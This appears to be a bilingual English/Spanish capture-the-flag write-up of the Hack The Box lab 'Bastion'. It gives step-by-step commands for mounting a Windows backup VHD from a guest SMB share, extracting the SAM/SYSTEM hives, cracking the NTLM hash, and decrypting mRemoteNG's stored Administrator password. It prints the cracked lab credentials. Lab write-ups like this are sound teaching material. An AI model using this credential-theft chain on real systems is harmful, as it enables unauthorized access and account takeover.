Bastion
Executive summary — Bastion is a very «forensic» Windows Server 2016 Easy box: an SMB share full of backups exposes the virtual disks (.vhd) of a Windows Image Backup. Mounting that VHD (instead of downloading the whole thing) reaches the filesystem and lets us extract the SAM and SYSTEM hives, which yield
L4mpje's hash — crackable with a wordlist. Once inside over SSH, mRemoteNG's config stores the Administrator password encrypted with a default master key: decrypt it and you're Administrator. A SMB → VHD → SAM → hash → mRemoteNG → root path.
| Platform | Hack The Box |
| Operating system | Windows Server 2016 |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.136.29 |
Attack map
[445] SMB → «Backups» share (guest, read/write)
│ note.txt: "don't download the full backup, it's huge"
│ WindowsImageBackup/L4mpje-PC → .vhd virtual disks
▼
[VHD] vhdimount + mmls -aB (offset) → mount the NTFS partition
│ System32\config\SAM + SYSTEM → pwdump → L4mpje's hash
▼
[Hash] hashcat -m 1000 (rockyou) → cleartext password
▼
[SSH] L4mpje → user.txt
│ mRemoteNG (confCons.xml) → encrypted Administrator password
│ decipher_mremoteng.jar → decrypt (default key)
▼
[SSH] Administrator → root.txt
1. Initial recon
We add the host to /etc/hosts and run a standard port scan:
echo "10.129.136.29 bastion.htb" | sudo tee -a /etc/hosts
nmap -sC -sV bastion.htb
| Port | Service |
|---|---|
| 22 | SSH |
| 135 | RPC |
| 139 | NetBIOS |
| 445 | SMB |
Four ports, but the vector is obvious: SMB.
Resumen ejecutivo — Bastion es una Windows Server 2016 Easy muy «forense»: un share SMB con backups deja leer los discos virtuales (.vhd) de un Windows Image Backup. Montando ese VHD (en vez de descargarlo entero) se llega al sistema de ficheros y se extraen los hives SAM y SYSTEM, de donde sale el hash de
L4mpje— crackeable con una wordlist. Ya dentro por SSH, la config de mRemoteNG guarda la contraseña de Administrator cifrada con una clave maestra por defecto: se descifra y se es Administrator. Recorrido SMB → VHD → SAM → hash → mRemoteNG → root.
| Plataforma | Hack The Box |
| Sistema operativo | Windows Server 2016 |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.136.29 |
Mapa del ataque
[445] SMB → share «Backups» (guest, lectura/escritura)
│ note.txt: «no descargues el backup completo, es muy pesado»
│ WindowsImageBackup/L4mpje-PC → discos virtuales .vhd
▼
[VHD] vhdimount + mmls -aB (offset) → montar la partición NTFS
│ System32\config\SAM + SYSTEM → pwdump → hash de L4mpje
▼
[Hash] hashcat -m 1000 (rockyou) → contraseña en claro
▼
[SSH] L4mpje → user.txt
│ mRemoteNG (confCons.xml) → password de Administrator cifrada
│ decipher_mremoteng.jar → descifrado (clave por defecto)
▼
[SSH] Administrator → root.txt
1. Enumeración inicial
Añadimos el host al fichero /etc/hosts y lanzamos un escaneo de puertos estándar:
echo "10.129.136.29 bastion.htb" | sudo tee -a /etc/hosts
nmap -sC -sV bastion.htb
| Puerto | Servicio |
|---|---|
| 22 | SSH |
| 135 | RPC |
| 139 | NetBIOS |
| 445 | SMB |
Cuatro puertos, pero el vector salta a la vista: SMB.
2. SMB enumeration
smbmap -u guest -H bastion.htb
Backups READ, WRITE
The Backups share is accessible as guest and, on top of that, writable. We connect with no password (Enter at the prompt):
smbclient //bastion.htb/Backups
smb: \> cat note.txt
note.txtitself drops the hint: don't download the whole backup, it's too heavy. In other words, mount it, don't copy it whole. Inside isWindowsImageBackup/L4mpje-PC/Backup .../with the virtual disks (.vhd) of a Windows backup.
3. Mount the share and the VHD
Instead of pulling the whole .vhd, we first mount the share over CIFS, then the virtual disk with forensics tooling (libvhdi-utils, from The Sleuth Kit):
sudo mount -t cifs //bastion.htb/Backups /mnt/local_share
sudo apt install libvhdi-utils sleuthkit
mkdir /mnt/bastion1
vhdimount '/mnt/local_share/WindowsImageBackup/L4mpje-PC/Backup .../....vhd' /mnt/bastion1
vhdimount exposes the virtual disk as a block device at /mnt/bastion1/vhdi1. That's still just the raw disk image, not a mountable filesystem: we need to locate the NTFS partition inside it with mmls:
mmls -aB /mnt/bastion1/vhdi1
...
002: 128 ... NTFS / exFAT (0x07)
offset: 128 sectors = 65536 bytes
Why the offset: a disk image starts with the partition table; the actual filesystem begins further in. With the offset in bytes, the partition can be mounted directly:
mkdir /mnt/vhdi_1
mount -o ro,noload,offset=65536 /mnt/bastion1/vhdi1 /mnt/vhdi_1
4. Extract SAM/SYSTEM and dump hashes
With the partition mounted read-only, we grab the registry hives holding the local accounts:
cp /mnt/vhdi_1/Windows/System32/config/SYSTEM /tmp
cp /mnt/vhdi_1/Windows/System32/config/SAM /tmp
pwdump /tmp/SYSTEM /tmp/SAM
L4mpje:...:26112010952d963c8dc4217daec986d9:::
5. Crack the hash → SSH as L4mpje
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
bureaulampje
ssh L4mpje@bastion.htb # bureaulampje
type C:\Users\L4mpje\Desktop\user.txt
6. Escalation — mRemoteNG
Now as L4mpje, local enumeration leads straight to mRemoteNG (a remote connection manager) installed on the box. Its config file stores the passwords of saved connections — including Administrator's:
type C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml
Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Why it's decryptable: mRemoteNG encrypts saved passwords with AES, but falls back to a default master key if the user never set one. With that known key, the encryption is trivially reversible with public tools:
java -jar decipher_mremoteng.jar "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
thXLHM96BeKL0ER2
ssh Administrator@bastion.htb # thXLHM96BeKL0ER2
type C:\Users\Administrator\Desktop\root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | SMB (Backups share) | Guest read/write access over a full Windows backup | Access to the system's virtual disks (.vhd) |
| Info leak | VHD (WindowsImageBackup) | Virtual disk mountable with no further authentication | Offline read of SAM/SYSTEM |
| Foothold | SAM/SYSTEM | Local NTLM hash extractable offline | L4mpje's hash is crackable |
| Foothold | NTLM hash | Weak password present in rockyou.txt | SSH as L4mpje + user.txt |
| PrivEsc | mRemoteNG | Administrator password encrypted with default master key (reversible) | SSH as Administrator + root.txt |
Lessons learned
- A misconfigured SMB share (guest, read/write) over backups is a complete backdoor into the system: no exploit, no credentials needed.
- Backups are secrets: an accessible
.vhdis equivalent to having the whole disk — SAM, SYSTEM, and with them every local hash. - Mount instead of downloading (
vhdimountplus locating the partition offset withmmls) is the correct forensic technique for large virtual disks. - mRemoteNG and similar password managers are a common post-exploitation target: if they fall back to a default master key, saved credentials are trivially reversible.
- Credential reuse (a standard user's connection manager holding Administrator's saved password) is, in practice, a complete privilege escalation.
2. Enumeración SMB
smbmap -u guest -H bastion.htb
Backups READ, WRITE
El share Backups es accesible como guest y, además, con permisos de escritura. Entramos sin contraseña (Enter al prompt):
smbclient //bastion.htb/Backups
smb: \> cat note.txt
El propio
note.txtdeja la pista: no descargues el backup completo, es demasiado pesado. Es decir: hay que montarlo, no copiarlo entero. Dentro estáWindowsImageBackup/L4mpje-PC/Backup .../con los discos virtuales (.vhd) de un backup de Windows.
3. Montar el share y el VHD
En vez de bajar el .vhd entero, montamos primero el share por CIFS y luego el disco virtual con herramientas de análisis forense (libvhdi-utils, de The Sleuth Kit):
sudo mount -t cifs //bastion.htb/Backups /mnt/local_share
sudo apt install libvhdi-utils sleuthkit
mkdir /mnt/bastion1
vhdimount '/mnt/local_share/WindowsImageBackup/L4mpje-PC/Backup .../....vhd' /mnt/bastion1
vhdimount expone el disco virtual como un dispositivo de bloques en /mnt/bastion1/vhdi1. Pero ese fichero es la imagen cruda del disco, no un filesystem montable directamente: hay que localizar la partición NTFS dentro con mmls:
mmls -aB /mnt/bastion1/vhdi1
...
002: 128 ... NTFS / exFAT (0x07)
offset: 128 sectores = 65536 bytes
Por qué el offset: una imagen de disco arranca con la tabla de particiones; el sistema de ficheros de verdad empieza más adelante. Con el offset en bytes se puede montar la partición directamente:
mkdir /mnt/vhdi_1
mount -o ro,noload,offset=65536 /mnt/bastion1/vhdi1 /mnt/vhdi_1
4. Extraer SAM/SYSTEM y volcar hashes
Con la partición ya montada en solo lectura, cogemos los hives del registro que guardan las cuentas locales:
cp /mnt/vhdi_1/Windows/System32/config/SYSTEM /tmp
cp /mnt/vhdi_1/Windows/System32/config/SAM /tmp
pwdump /tmp/SYSTEM /tmp/SAM
L4mpje:...:26112010952d963c8dc4217daec986d9:::
5. Crackear el hash → SSH como L4mpje
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
bureaulampje
ssh L4mpje@bastion.htb # bureaulampje
type C:\Users\L4mpje\Desktop\user.txt
6. Escalada — mRemoteNG
Ya como L4mpje, la enumeración local lleva directa a mRemoteNG (gestor de conexiones remotas) instalado en el sistema. Su fichero de configuración guarda las contraseñas de las conexiones guardadas — incluida la de Administrator:
type C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml
Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Por qué se puede descifrar: mRemoteNG cifra las contraseñas guardadas con AES, pero usa una clave maestra por defecto si el usuario nunca configuró una propia. Con esa clave conocida, el cifrado es trivialmente reversible con herramientas públicas:
java -jar decipher_mremoteng.jar "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
thXLHM96BeKL0ER2
ssh Administrator@bastion.htb # thXLHM96BeKL0ER2
type C:\Users\Administrator\Desktop\root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info leak | SMB (share Backups) | Guest con lectura/escritura sobre un backup completo de Windows | Acceso a los discos virtuales (.vhd) del sistema |
| Info leak | VHD (WindowsImageBackup) | Disco virtual montable sin autenticación adicional | Lectura offline de SAM/SYSTEM |
| Foothold | SAM/SYSTEM | Hash NTLM local extraíble offline | Hash de L4mpje crackeable |
| Foothold | Hash NTLM | Contraseña débil presente en rockyou.txt | SSH como L4mpje + user.txt |
| PrivEsc | mRemoteNG | Contraseña de Administrator cifrada con clave maestra por defecto (reversible) | SSH como Administrator + root.txt |
Lecciones aprendidas
- Un share SMB mal configurado (guest, lectura/escritura) sobre backups es una puerta trasera completa al sistema: no requiere ni exploit ni credenciales.
- Los backups son secretos: un
.vhdaccesible equivale a tener el disco entero — SAM, SYSTEM y, con ellos, todos los hashes locales. - Montar en vez de descargar (
vhdimount+ offset de partición víammls) es la técnica forense correcta para discos virtuales grandes. - mRemoteNG y gestores de contraseñas similares son un objetivo habitual de post-explotación: si usan una clave maestra por defecto, las credenciales guardadas son trivialmente reversibles.
- La reutilización de credenciales (la password guardada de Administrator en un gestor de conexiones de un usuario estándar) es, en la práctica, un escalado de privilegios completo.